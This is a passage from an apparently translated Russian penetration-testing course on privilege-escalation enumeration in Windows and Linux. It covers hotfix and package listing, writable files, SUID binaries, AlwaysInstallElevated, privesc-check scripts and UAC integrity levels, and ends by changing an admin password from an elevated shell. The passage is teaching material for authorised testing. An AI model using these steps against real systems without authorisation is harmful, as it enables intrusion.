Microsoft Groove MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Word MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Proofing (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Shared MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Proofing Tools 2016 - Microsoft Corporation 16.0.4266.1001
Herramientas de corrección de Microsoft Microsoft Corporation 16.0.4266.1001
Outils de vérification linguistique 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Visual C++ 2017 x86 Additional Microsoft Corporation 14.12.25810
FortiClient Fortinet Inc 5.2.3.0633
Python 2.7.14 Python Software Foundation 2.7.14150
VMware Tools VMware, Inc. 10.3.10.1240696
Microsoft Visual C++ 2017 x86 Minimum Microsoft Corporation 14.12.25810
Microsoft Visual C++ 2008 Redistributable Microsoft Corporation 9.0.30729.4148
Лисчтинг 22 - Список всех установленных приложений в Windows
Информация об установленных приложениях может быть полезна при поиске атак с повышением привилегий.
Аналогично, и что более важно, wmic также может быть использован для получения списка общесистемных обновлений, для чего необходимо запросить класс WMI
Ссылка скрыта от гостей
.
Код:
c:\Users\student>wmic qfe get Caption, Description, HotFixID, InstalledOn
Caption Description HotFixID InstalledOn
Update KB2693643 4/7/2018
http://support.microsoft.com/?kbid=4088785 Security Update KB4088785 3/31/2018
http://support.microsoft.com/?kbid=4090914 Update KB4090914 3/31/2018
http://support.microsoft.com/?kbid=4088776 Security Update KB4088776 3/31/2018
Листинг 23 - Список установленных обновлений безопасности в Windows
Сочетание информации HotFixID и InstalledOn может дать точное представление об уровне безопасности целевой операционной системы Windows. Согласно результату выше, эта система не обновлялась в последнее время, что может упростить ее взлом.
Системы на базе Linux используют различные менеджеры пакетов. Например, дистрибутивы Linux на базе Debian используют
Ссылка скрыта от гостей
, в то время как системы на базе Red Hat используют
Ссылка скрыта от гостей
.Для получения списка приложений, установленных (по dpkg) в нашей системе Debian, мы можем использовать dpkg -l.
Код:
student@debian:~$ dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-===================-=================-=============-=============================
ii acl 2.2.52-3+b1 i386 Access control list utilities
ii adduser 3.115 all add and remove users and grou
ii adwaita-icon-theme 3.22.0-1+deb9u1 all default icon theme of GNOME
ii alsa-utils 1.1.3-1 i386 Utilities for configuring and
ii anacron 2.3-24 i386 cron-like program that doesn'
ii ant 1.9.9-1 all Java based build tool like ma
ii ant-optional 1.9.9-1 all Java based build tool like ma
ii apache2 2.4.25-3+deb9u4 i386 Apache HTTP Server
ii apache2-bin 2.4.25-3+deb9u4 i386 Apache HTTP Server (modules a
ii apache2-data 2.4.25-3+deb9u4 all Apache HTTP Server (common fi
ii apache2-utils 2.4.25-3+deb9u4 i386 Apache HTTP Server (utility p
...
Листинг 24 - Список всех установленных пакетов в операционной системе Debian Linux
Это подтверждает то, чего мы ожидали: на машине Debian фактически работает веб-сервер. В данном случае, он работает под управлением Apache2.
Сбор информации о файлах и директориях с правами на чтение/запись (Enumerating Readable/Writable Files and Directories)
Как уже упоминалось, файлы с недостаточными ограничениями доступа к ним могут создать уязвимость, которая может позволить злоумышленнику получить повышенные привилегии. Чаще всего это происходит, когда злоумышленник может модифицировать скрипты или двоичные файлы, которые выполняются в контексте привилегированной учетной записи.
Кроме того, конфиденциальные файлы, которые могут быть прочитаны непривилегированным пользователем, могут содержать важную информацию, такую как учетные данные для базы данных или служебной учетной записи.
Поскольку невозможно вручную проверить права доступа каждого файла и директории, необходимо максимально автоматизировать эту задачу.
Существует ряд утилит и инструментов, которые могут автоматизировать эту задачу на платформе Windows.
Ссылка скрыта от гостей
из SysInternals, пожалуй, самый известный и часто используемый инструмент для этой цели.В следующем примере будет продемонстрировано, как использовать AccessChk для поиска файла с небезопасными правами доступа в каталоге Program Files. Обратите внимание, что целевой двоичный файл был просто создан для целей этого упражнения.
В частности, просмотрим каталог Program Files в поисках любого файла или каталога, предоставляющего группе
Ссылка скрыта от гостей
право на запись.Будем использовать -u для подавления ошибок, -w для поиска разрешений на запись и -s для выполнения рекурсивного поиска. Дополнительные опции также заслуживают изучения, так как этот инструмент весьма полезен.
Код:
c:\Tools\privilege_escalation\SysinternalsSuite>accesschk.exe -uws "Everyone" "C:\Program Files"
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
RW C:\Program Files\TestApplication\testapp.exe
Литсинг 25 - Список всех файлов и директорий с правом на запись для everyone по указанному пути
В приведенном выше листинге AccessChk успешно идентифицировал один исполняемый файл, который доступен для записи всем желающим. Если бы этот файл выполнялся привилегированным пользователем или учетной записью службы, можно было бы попытаться перезаписать его вредоносным файлом по нашему выбору, например, реверс шеллом, чтобы повысить привилегии. Аналогичный рабочий пример будет представлен позже в этой главе.
Также можно достичь той же цели, используя PowerShell. Это полезно в ситуациях, когда не возможности загружать и выполнять произвольные двоичные файлы на целевой системе.
Сама команда PowerShell (показанная ниже в листинге 26) может показаться несколько сложной, поэтому рассмотрим ее параметры.
Основной командой, которой воспользуемся, является Get-Acl, которая получает все права доступа к данному файлу или каталогу. Однако, поскольку Get-Acl не может быть запущен рекурсивно, также используем команду Get-ChildItem, чтобы сначала просмотреть все в каталоге Program Files. Это позволит получить все объекты в целевом каталоге вместе со всеми соответствующими правами доступа. Свойство AccessToString с флагом -match сужает результаты до конкретных свойств доступа, которые ищем. В данном случае, ищем любой объект, который может быть изменен (Modify) членами группы Everyone.
Код:
PS C:\Tools\privilege_escalation\SysinternalsSuite>Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
Directory: C:\Program Files\TestApplication
Path Owner Access
---- ----- ------
testapp.exe BUILTIN\Administrators Everyone Allow Modify, Synchronize...
Листинг 26 - Список всех файлов и директорий с правом на запись для everyone по указанному пути, полученный с помощью PowerShell
В этом случае вывод идентичен выводу AccessChk. Эта последовательность команд позволяет использовать дополнительные опции форматирования.
На операционных системах Linux можно использовать
Ссылка скрыта от гостей
для идентификации файлов с небезопасными правами доступа.В примере ниже ищем каждый каталог, доступный для записи текущему пользователю на целевой системе. Просматриваем весь корневой каталог (/) и используем аргумент -writable для указания интересующего нас атрибута. Также используем -type d для поиска каталогов, и фильтруем ошибки с помощью связки 2>/dev/null:
Код:
student@debian:~$ find / -writable -type d 2>/dev/null
/usr/local/james/bin
/usr/local/james/bin/lib
/proc/16195/task/16195/fd
/proc/16195/fd
/proc/16195/map_files
/home/student
/home/student/.gconf
/home/student/.gconf/apps
/home/student/.gconf/apps/gksu
/home/student/Music
/home/student/thinclient_drives
/home/student/Videos
/home/student/.pcsc11
/home/student/.gnupg
...
Листинг 27 - Список всех доступных для записи директорий в Linux
Как показано выше, несколько каталогов, включая каталог /usr/local/james/bin, являются доступными для записи. Это, безусловно, требует дальнейшего исследования.
Сбор информации об отмонтированных дисках (Enumerating Unmounted Disks)
На большинстве систем диски автоматически монтируются во время загрузки. Поэтому легко забыть о немонтируемых дисках, которые могут содержать ценную информацию. Всегда необходимо искать несмонтированные диски, и если они существуют, проверять доступность на монтирование.
На системах на базе Windows можно использовать
Ссылка скрыта от гостей
, чтобы вывести список всех монтируемых в данный момент дисков, а также тех, которые физически подключены, но не смонтированы.
Код:
c:\Users\student>mountvol
Creates, deletes, or lists a volume mount point.
...
Possible values for VolumeName along with current mount points are:
\\?\Volume{25721a7f-0000-0000-0000-100000000000}\
*** NO MOUNT POINTS ***
\\?\Volume{25721a7f-0000-0000-0000-602200000000}\
C:\
\\?\Volume{78fa00a6-3519-11e8-a4dc-806e6f6e6963}\
D:\
Листинг 28 - Список всех дисков доступных для монтирования в Windows
В этом случае система имеет две точки монтирования, которые сопоставляются с дисками C: и D: соответственно. Также видно, что у есть том с глобальным уникальным идентификатором (GUID) 25721a7f-0000-0000-0000-100000000000, который не имеет точки монтирования. Это может быть интересно, и мы, возможно, захотим продолжить исследование.
На Linux-системах можно использовать команду
Ссылка скрыта от гостей
, чтобы получить список всех смонтированных файловых систем. Кроме того, в файле
Ссылка скрыта от гостей
приведён список всех дисков, которые будут смонтированы во время загрузки.Помните, что системный администратор мог использовать пользовательские конфигурации или скрипты для монтирования дисков, которые не перечислены в файле /etc/fstab. В связи с этим, рекомендуется не только проверить /etc/fstab, но и собрать информацию о смонтированных дисках с помощью mount.
Код:
student@debian:~$ cat /etc/fstab
# /etc/fstab: static file system information.
...
# <file system> <mount point> <type> <options> <dump> <pass>
# / was on /dev/sda1 during installation
UUID=fa336f7a-8cf8-4cd2-9547-22b08cf58b72 / ext4 errors=remount-ro 0 1
# swap was on /dev/sda5 during installation
UUID=8b701d25-e290-49dc-b61b-1b9047088150 none swap sw 0 0
/dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0
student@debian:~$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=505664k,nr_inodes=126416,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=102908k,mode=755)
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
...
mqueue on /dev/mqueue type mqueue (rw,relatime)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
tmpfs on /run/user/110 type tmpfs (rw,nosuid,nodev,relatime,size=102904k,mode=700,uid=
gvfsd-fuse on /run/user/110/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,relatime,user_i
fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)
tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=102904k,mode=700,uid
Листинг 29 - Содержимое файла /etc/fstab и список всех смонтированных дисков в Linux
В результате отображается раздел подкачки и основной диск ext4 этой Linux-системы. Более того, можно использовать
Ссылка скрыта от гостей
для просмотра всех доступных дисков.
Код:
student@debian:~$ /bin/lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
fd0 2:0 1 4K 0 disk
sda 8:0 0 5G 0 disk
├─sda1 8:1 0 4.7G 0 part /
├─sda2 8:2 0 1K 0 part
└─sda5 8:5 0 334M 0 part [SWAP]
Листинг 30 - Список всех доступных дисков в Linux, полученный с использованием lsblk
Видно, что диск sda состоит из трех различных пронумерованных разделов. В некоторых ситуациях, изучая информацию о всех локальных дисках в системе, можно обнаружить разделы, которые не смонтированы. В зависимости от конфигурации системы (или неправильной конфигурации), можно будет смонтировать эти разделы и найти интересные документы, учетные данные или другую информацию, которая позволит нам повысить привилегии или лучшие закрепиться в сети.
Сбор информации о драйверах устройств и модулях ядра
Другой распространенный способ повышения привилегий связан с использованием драйверов устройств и модулей ядра. Рассмотрим реальные приемы эксплуатации позже в этой главе, но сначала давайте рассмотрим важные приемы сбора информации. Так как эта техника основана на сопоставлении уязвимостей с соответствующими эксплойтами, потребуется составить список драйверов и модулей ядра, которые загружаются на целевом компьютере.
На Windows можно начать поиск с команды
Ссылка скрыта от гостей
. Введем аргумент /v для более подробного вывода, а также /fo csv для запроса вывода в формате CSV.Чтобы отфильтровать вывод, выполним эту команду в сессии powershell. В PowerShell передадим результаты в команду
Ссылка скрыта от гостей
, а также
Ссылка скрыта от гостей
, что позволит выбрать конкретные свойства или наборы объектов, включая Display Name, Start Mode и Path.
Код:
c:\Users\student>powershell
PS C:\Users\student> driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Dis
play Name’, ‘Start Mode’, Path
Display Name Start Mode Path
------------ ---------- ----
1394 OHCI Compliant Host Controller Manual C:\Windows\system32\drivers\1394ohci.s
3ware Manual C:\Windows\system32\drivers\3ware.sys
Microsoft ACPI Driver Boot C:\Windows\system32\drivers\ACPI.sys
ACPI Devices driver Manual C:\Windows\system32\drivers\AcpiDev.sy
Microsoft ACPIEx Driver Boot C:\Windows\system32\Drivers\acpiex.sys
ACPI Processor Aggregator Driver Manual C:\Windows\system32\drivers\acpipagr.s
ACPI Power Meter Driver Manual C:\Windows\system32\drivers\acpipmi.sy
ACPI Wake Alarm Driver Manual C:\Windows\system32\drivers\acpitime.s
ADP80XX Manual C:\Windows\system32\drivers\ADP80XX.SY
Листинг 31 - Список загруженных драйверов в Windows
Получив список загруженных драйверов, необходимо сделать еще один шаг, чтобы запросить номер версии каждого загруженного драйвера. Воспользуемся командой
Ссылка скрыта от гостей
, чтобы получить экземпляр WMI
Ссылка скрыта от гостей
, который предоставляет информацию о драйверах с цифровой подписью. Направив вывод в Select-Object, можно указать конкретные свойства, включая DriverVersion. Более того, можно указать нужные имена драйверов, путем перенаправления вывода в
Ссылка скрыта от гостей
.
Код:
PS C:\Users\student> Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}
DeviceName DriverVersion Manufacturer
---------- ------------- ------------
VMware VMCI Host Device 9.8.6.0 VMware, Inc.
VMware PVSCSI Controller 1.3.10.0 VMware, Inc.
VMware SVGA 3D 8.16.1.24 VMware, Inc.
VMware VMCI Bus Device 9.8.6.0 VMware, Inc.
VMware Pointing Device 12.5.7.0 VMware, Inc.
Листинг 32 - Список версий драйверов в Windows
Теперь, когда есть список всех загруженных драйверов устройств VMware вместе с соответствующими номерами версий, можно искать эксплойты для этих конкретных драйверов.
В Linux можно получить список загруженных модулей ядра с помощью lsmod без дополнительных аргументов.
Код:
student@debian:~$ lsmod
Module Size Used by
fuse 90112 3
appletalk 32768 0
ax25 49152 0
ipx 28672 0
p8023 16384 1 ipx
p8022 16384 1 ipx
psnap 16384 2 appletalk,ipx
llc 16384 2 p8022,psnap
evdev 20480 5
vmw_balloon 20480 0
crc32_pclmul 16384 0
...
i2c_piix4 20480 0
libata 192512 2 ata_piix,ata_generic
scsi_mod 180224 4 sd_mod,libata,sg,vmw_pvscsi
floppy 57344 0
Листинг 33 - Список загруженных драйверов в Linux
Как только был получен список загруженных модулей и определены те, о которых необходима дополнительная информация, например, о libata в вышеуказанном примере, стало возможным использовать modinfo, чтобы узнать больше о конкретном модуле. Обратите внимание, что для запуска этого инструмента требуется полный путь.
Код:
student@debian:~$ /sbin/modinfo libata
filename: /lib/modules/4.9.0-6-686/kernel/drivers/ata/libata.ko
version: 3.00
license: GPL
description: Library module for ATA devices
author: Jeff Garzik
srcversion: 7D8076C4A3FEBA6219DD851
depends: scsi_mod
retpoline: Y
intree: Y
vermagic: 4.9.0-6-686 SMP mod_unload modversions 686
parm: zpodd_poweroff_delay:Poweroff delay for ZPODD in seconds (int)
...
Листинг 34 - Дополнительная информация о модуле в Linux
Как и в примере с Windows, показанном выше, после получения списка драйверов и их версий у нас становится больше возможностей для поиска соответствующих эксплойтов, если они существуют.
Поиск файлов, позволяющих провести повышение прав
Позже в этом главе будут рассмотрены различные методы повышения привилегий. Однако, в данном разделе ознакомимся с несколькими примерами сбора информации, которые могут выявить интересные "короткие пути" в конкретных ОС для повышения привилегий.
Во-первых, на Windows-системах необходимо проверить состояние параметра реестра
Ссылка скрыта от гостей
. Если этот ключ включен (установлен в 1) в HKEY_CURRENT_USER или в HKEY_LOCAL_MACHINE, то любой пользователь может запускать пакеты Windows Installer с повышенными привилегиями.Мыожно использовать reg query для проверки этих настроек:
Код:
c:\Users\student>reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
c:\Users\student>reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
Листинг 35 - Запрос значений реестра AlwaysInstalledElevated в Windows
Если эта настройка включена, можно создать MSI файл и запустить его для повышения привилегий.
Аналогично, в системах на базе Linux можно искать
Ссылка скрыта от гостей
файлы.Обычно, при запуске исполняемого файла, он наследует права пользователя, который его запускает. Однако, если разрешения SUID установлены, бинарный файл будет запускаться с разрешениями владельца файла. Это означает, что если в двоичном файле установлен SUID-бит, а файл принадлежит root, то любой локальный пользователь сможет выполнить этот двоичный файл с повышенными привилегиями.
Можно использовать команду find для поиска двоичных файлов, помеченных SUID. В этом случае начинаем поиск в корневом каталоге (/), ищем файлы (-type f) с установленным битом SUID (-perm -u=s) и отбрасываем все сообщения об ошибках (2>/dev/null):
Код:
student@debian:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/userhelper
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/chsh
/bin/mount
/bin/su
/bin/fusermount
/bin/umount
/bin/ntfs-3g
/bin/ping
Листинг 36 - Поиск SUID файлов в Linux
В данном случае команда нашла несколько исполняемых файлов SUID. Использование двоичных SUID файлов будет зависеть от нескольких факторов. Например, если бы /bin/cp (команда копирования) был SUID, можно было бы копировать и перезаписывать необходимые файлы, такие как /etc/passwd.
Автоматизированный сбор информации (Automated Enumeration)
Очевидно, что каждая операционная система содержит большой объем информации, который может быть использован для дальнейших атак. Независимо от целевой операционной системы, сбор этой подробной информации вручную может занять довольно много времени. К счастью, можно использовать различные скрипты для автоматизации этого процесса.
На Windows одним из таких скриптов является windows-privesc-check, который можно найти в хранилище windowsprivesc-check Github. Репозиторий уже включает в себя исполняемый файл Windows, сгенерированный PyInstaller, но также может быть пересобран как необходимо.
Запуск исполняемого файла с флагом -h отображает следующее окно справки:
Код:
c:\Tools\privilege_escalation\windows-privesc-check-master>windows-privesc-check2.exe -h
windows-privesc-check v2.0 (http://pentestmonkey.net/windows-privesc-check)
Usage: windows_privesc_check.exe (--dump [ dump opts] | --dumptab | --audit) [examine
opts] [host opts] -o report-file-stem
Options:
--version show program's version number and exit
-h, --help show this help message and exit
--dump Dumps info for you to analyse manually
--dumptab Dumps info in tab-delimited format
--audit Identify and report security weaknesses
--pyshell Start interactive python shell
examine opts:
At least one of these to indicate what to examine (*=not implemented)
-a, --all All Simple Checks (non-slow)
-A, --allfiles All Files and Directories (slow)
-D, --drives Drives
-e, --reg_keys Misc security-related reg keys
-E, --eventlogs Event Log*
-f INTERESTING_FILE_LIST, --interestingfiledir=INTERESTING_FILE_LIST
Changes -A behaviour. Look here INSTEAD
-F INTERESTING_FILE_FILE, --interestingfilefile=INTERESTING_FILE_FILE
Changes -A behaviour. Look here INSTEAD. On dir perline
-G, --groups Groups
-H, --shares Shares
-I, --installed_software
Installed Software
-j, --tasks Scheduled Tasks
-k, --drivers Kernel Drivers
...
Листинг 37 - Вывод справки
Этот инструмент принимает множество опций, но будут рассмотрены несколько коротких примеров. Во-первых, соберем информацию о группах пользователей в системе. Укажем --dump для просмотра вывода, а -G - для отображения списка групп.
Код:
c:\Tools\privilege_escalation\windows-privesc-check-master>windows-privesc-check2.exe --dump -G
windows-privesc-check v2.0 (http://pentestmonkey.net/windows-privesc-check)
[i] TSUserEnabled registry value is 0. Excluding TERMINAL SERVER USER
Considering these users to be trusted:
* BUILTIN\Power Users
* BUILTIN\Administrators
* NT SERVICE\TrustedInstaller
* NT AUTHORITY\SYSTEM
[i] Running as current user. No logon creds supplied (-u, -D, -p).
...
============ Starting Audit at 2019-09-22 12:45:56 ============
[+] Running: dump_misc_checks
[+] Host is not in domain
[+] Checks completed
[+] Running: dump_groups
[+] Dumping group list:
BUILTIN\Administrators has member: CLIENT251\Administrator
BUILTIN\Administrators has member: CLIENT251\admin
BUILTIN\Administrators has member: [unknown]\S-1-5-21-2715734670-1758985447-1278008508
BUILTIN\Administrators has member: [unknown]\S-1-5-21-2715734670-1758985447-1278008508
BUILTIN\Guests has member: CLIENT251\Guest
BUILTIN\IIS_IUSRS has member: NT AUTHORITY\IUSR
BUILTIN\Remote Desktop Users has member: CLIENT251\student
BUILTIN\Users has member: NT AUTHORITY\INTERACTIVE
BUILTIN\Users has member: NT AUTHORITY\Authenticated Users
BUILTIN\Users has member: CLIENT251\student
BUILTIN\Users has member: [unknown]\S-1-5-21-2715734670-1758985447-1278008508-513
[+] Checks completed
Листинг 38 - Вывод команды windows-privesc-check
Скрипт успешно выполнился и предоставил информацию о группах безопасности в системе.
Подобно windows-privesc-check в Windows, можно также использовать
Ссылка скрыта от гостей
на UNIX-системах, таких как Linux. Можно просмотреть справку по инструменту, запустив скрипт без каких-либо аргументов.
Код:
student@debian:~$./unix-privesc-check
unix-privesc-check v1.4 ( http://pentestmonkey.net/tools/unix-privesc-check )
Usage: unix-privesc-check { standard | detailed }
"standard" mode: Speed-optimised check of lots of security settings.
"detailed" mode: Same as standard mode, but also checks perms of open file
handles and called files (e.g. parsed from shell scripts,
linked .so files). This mode is slow and prone to false
positives but might help you find more subtle flaws in 3rd
party programs.
This script checks file permissions and other settings that could allow
local users to escalate privileges.
...
Листинг 39 - Запуск unix_privesc_check без параметров
Как видно из приведенного выше листинга, скрипт поддерживает "стандартный" и "детальный" режим работы. Основываясь на предоставленной информации, стандартный режим выполняет процесс, оптимизированный по скорости, и должен обеспечивать меньшее количество ложных срабатываний. Поэтому в следующем примере будем использовать стандартный режим и перенаправим весь вывод в файл с именем output.txt.
Код:
student@debian:~$ ./unix-privesc-check standard > output.txt
Листинг 40 - Запуск unix_privesc_check
Скрипт выполняет многочисленные проверки прав доступа к общим файлам. Например, следующий отрывок показывает конфигурационные файлы, разрешающие запись не root-пользователям:
Код:
Checking for writable config files
############################################
Checking if anyone except root can change /etc/passwd
WARNING: /etc/passwd is a critical config file. World write is set for /etc/passwd
Checking if anyone except root can change /etc/group
Checking if anyone except root can change /etc/fstab
Checking if anyone except root can change /etc/profile
Checking if anyone except root can change /etc/sudoers
Checking if anyone except root can change /etc/shadow
Листинг 41 - unix_privesc_check записываемые файлы конфигурации
Этот листинг показывает, что любой пользователь в системе может редактировать файл /etc/passwd! Это довольно критично, так как позволяет злоумышленникам
Ссылка скрыта от гостей
или создать учетные записи пользователей на целевом компьютере, что будет продемонстрированно позже.Хотя эти инструменты выполняют много автоматизированных проверок, имейте в виду, что все системы отличаются, и уникальные единичные системные изменения могут быть пропущены подобными инструментами. По этой причине важно обращать внимание на уникальность конфигурации, которая может быть обнаружена
Ссылка скрыта от гостей
.Примеры повышения привилегий в Windows
В этом разделе обсудим привилегии Windows, механизмы целостности и контроль учетных записей пользователей (UAC). Продемонстрируем методы обхода UAC и воспользуемся уязвимостями драйверов ядра, небезопасными правами доступа к файлам и unquoted путями к службам для повышения привилегий на целевом компьютере.
Понимание привилегий Windows и уровней доверия (Understanding Windows Privileges and Integrity Levels)
Ссылка скрыта от гостей
в операционных системах Windows относятся к полномочиям определенной учетной записи на выполнение локальных системных операций. Сюда относятся такие действия, как изменение файловой системы, добавление пользователей, выключение системы и т.д.Для того чтобы эти привилегии были эффективны, операционная система Windows использует объекты, называемые
Ссылка скрыта от гостей
. После аутентификации пользователя Windows генерирует маркер доступа, который присваивается этому пользователю. Сам токен содержит различные фрагменты информации, которые фактически описывают контекст безопасности данного пользователя, включая его привилегии.Наконец, эти маркеры должны быть уникально идентифицируемыми, учитывая информацию, которую они содержат. Для этого используется
Ссылка скрыта от гостей
, представляющий собой уникальное значение, которое присваивается каждому объекту (включая маркеры), например, учетной записи пользователя или группы.Эти SID-ы генерируются и обслуживаются
Ссылка скрыта от гостей
.В дополнение к привилегиям, Windows также реализует так называемый
Ссылка скрыта от гостей
. Он является основным компонентом архитектуры безопасности Windows и работает путем назначения
Ссылка скрыта от гостей
прикладным процессам и
Ссылка скрыта от гостей
. Проще говоря, это описывает уровень доверия, который операционная система имеет к запущенным приложениям или защищенным объектам. В качестве примера, настроенный уровень безопасности определяет, какие действия может выполнить приложение, включая возможность чтения из локальной файловой системы или записи в нее. API также могут быть заблокированы для определенных уровней безопасности.Начиная с Windows Vista, процессы выполняются на четырех уровнях безопасности:
- Процесс безопасности системы: права системы
- Высокая безопасности процесса: административные права
- Процесс средней безопасности: стандартные права пользователя
- Низкая безопасность процесса: очень ограниченные права, часто используемые в
Ссылка скрыта от гостейпроцессов
Введение в контроль учетных записей пользователей (UAC)
Ссылка скрыта от гостей
(UAC) - это система контроля доступа, представленная компанией Microsoft с Windows Vista и Windows Server 2008. Хотя UAC обсуждается и исследуется уже довольно долгое время, важно подчеркнуть, что в Microsoft не считают ее пределом безпасности. Скорее, UAC заставляет приложения и задачи работать в контексте неадминистративной учетной записи до тех пор, пока администратор не разрешит повышенный доступ. Это заблокирует запуск инсталляторов и неавторизованных приложений без прав администраторской учетной записи, а также заблокирует изменения в системных настройках. В общем, эффект от UAC заключается в том, что любое приложение, желающее выполнить операцию с потенциальным общесистемным воздействием, не может сделать это незаметно. По крайней мере, в теории.Также важно подчеркнуть тот факт, что UAC имеет два различных режима: подсказка авторизации и подсказка согласия. Разница довольно проста. Когда стандартный пользователь хочет выполнить административную задачу, такую как установка нового приложения, и UAC включена, он увидит приглашение к авторизации. Другими словами, учетные данные административного пользователя потребуются для выполнения задачи. Однако когда административный пользователь пытается сделать то же самое, ему выдается уведомление о согласии. В этом случае, пользователь просто должен подтвердить, что задача должна быть выполнена, и повторный ввод учетных данных пользователя не требуется.
Например, на следующем рисунке командный процессор Windows (Command Processor), запущенный под стандартной учетной записью пользователя, пытается выполнить привилегированное действие. UAC действует в соответствии
Ссылка скрыта от гостей
(Always Notify в данном случае), приостанавливая целевой процесс cmd.exe и запрашивая имя и пароль администратора для выполнения запрашиваемого привилегированного действия.Рисунок 1: Диалог UAC, запрашивающий пароль администратора
Даже входя в систему как административный пользователь, учетная запись будет иметь два маркера безопасности, один из которых будет работать на среднем уровне безопасности, а другой - на высоком. UAC действует как механизм разделения этих двух уровней безопасности.
Чтобы увидеть уровни безопасности в действии, давайте сначала войдем в систему от имени администратора, откроем интерпретатор команд и выполним команду whoami /groups:
Код:
c:\Users\admin>whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
======================================================== ============ ================
Everyone Well-known group S-1-1-0 Mandatory group,
NT AUTHORITY\Local account and member Well-known group S-1-5-114 Group used for d
BUILTIN\Administrators Alias S-1-5-32-544 Group used for d
BUILTIN\Users Alias S-1-5-32-545 Mandatory group,
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group,
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group,
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group,
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group,
LOCAL Well-known group S-1-2-0 Mandatory group,
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group,
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Листинг 42 - Проверка группового уровня безопасности (Group Integrity Level)
Как указано в последней строке вывода, эта командная строка в настоящее время работает на среднем уровне безопасности.
Давайте попробуем изменить пароль администратора из этой командной строки:
Код:
C:\Users\admin> net user admin Ev!lpass
System error 5 has occurred.
Access is denied.
Листинг 43 - Попытка изменения пароля
Запрос отклонен, несмотря на то, что мы вошли в систему как административный пользователь.
Чтобы изменить пароль администратора, мы должны перейти на высокий уровень безопасности, даже если мы вошли в систему как административный пользователь. В нашем примере, одним из способов сделать это является использование powershell.exe с помощью команды
Ссылка скрыта от гостей
, указывающей опцию "Run as administrator":
Код:
C:\Users\admin>powershell.exe Start-Process cmd.exe -Verb runAs
Листинг 44 - Использование powershell для запуска процесса cmd.exe с высоким уровнем безопасности (high integrity)
После отправки этой команды и подтверждения запроса UAC, мы получаем новый процесс cmd.exe, обладающий высоким уровнем безопасности.
Давайте проверим действующий уровень безопасности с помощью утилиты
Ссылка скрыта от гостей
, используя аргумент /groups, и попытаемся изменить пароль ещё раз:
Код:
C:\Windows\system32> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
======================================================== ============ ================
Everyone Well-known group S-1-1-0 Mandatory group,
NT AUTHORITY\Local account and member Well-known group S-1-5-114 Mandatory group,
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group,
BUILTIN\Users Alias S-1-5-32-545 Mandatory group,
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group,
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group,
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group,
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group,
LOCAL Well-known group S-1-2-0 Mandatory group,
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group,
Mandatory Label\High Mandatory Level Label S-1-16-12288
C:\Windows\system32> net user admin Ev!lpass
The command completed successfully.
